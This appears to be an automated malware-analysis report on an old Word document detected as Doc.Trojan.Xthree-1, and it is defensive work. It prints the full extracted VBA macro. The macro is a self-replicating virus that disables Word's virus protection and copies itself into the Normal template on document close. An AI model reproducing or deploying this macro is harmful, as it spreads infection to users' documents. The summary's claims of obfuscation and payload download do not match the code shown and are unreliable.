Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81f10fc272fb03e3…

MALICIOUS

Office (OLE)

26.5 KB Created: 2001-07-16 07:56:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: f982c537df21b6cc0f629824d917ad1a SHA-1: 97cda350c40325a47043f5e752eb76d70f5330bd SHA-256: 81f10fc272fb03e382bd132e7527499deea4905b2b36f244aa4c1e34e5b24b97
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing an AutoClose macro. This macro is designed to export itself to a temporary file on the C drive and then import it into the Normal template, potentially to establish persistence or facilitate the execution of a secondary payload. The macro's obfuscated nature and the presence of ClamAV detections (Doc.Trojan.Xthree-1) strongly suggest malicious intent, likely involving the download and execution of further malware.

Heuristics 4

  • ClamAV: Doc.Trojan.Xthree-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Xthree-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 806 bytes
SHA-256: dbeee4d2ac14771f9a6f66b5dddfb757b15e37c6340d1e98bf06859284abdf66
Detection
ClamAV: Doc.Trojan.Xthree-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "x"
Sub AutoClose()
On Error Resume Next
Options.SaveNormalPrompt = 0
Options.VirusProtection = 0
Options.ConfirmConversions = 0
z = Int(Rnd * 3)
Set N = NormalTemplate.VBProject.VBComponents
Set D = ActiveDocument.VBProject.VBComponents
If N.Item("x").Name <> "x" Then D("x").export ("C:\" & z & ".xxx")
N.import ("C:\" & z & ".xxx")
Kill ("C:\" & z & ".xxx")
If D.Item("x").Name <> "x" Then N("x").export ("C:\" & z & ".xxx")
D.import ("C:\" & z & ".xxx")
Kill ("C:\" & z & ".xxx")
End Sub

Sub ViewVBCode()
End Sub

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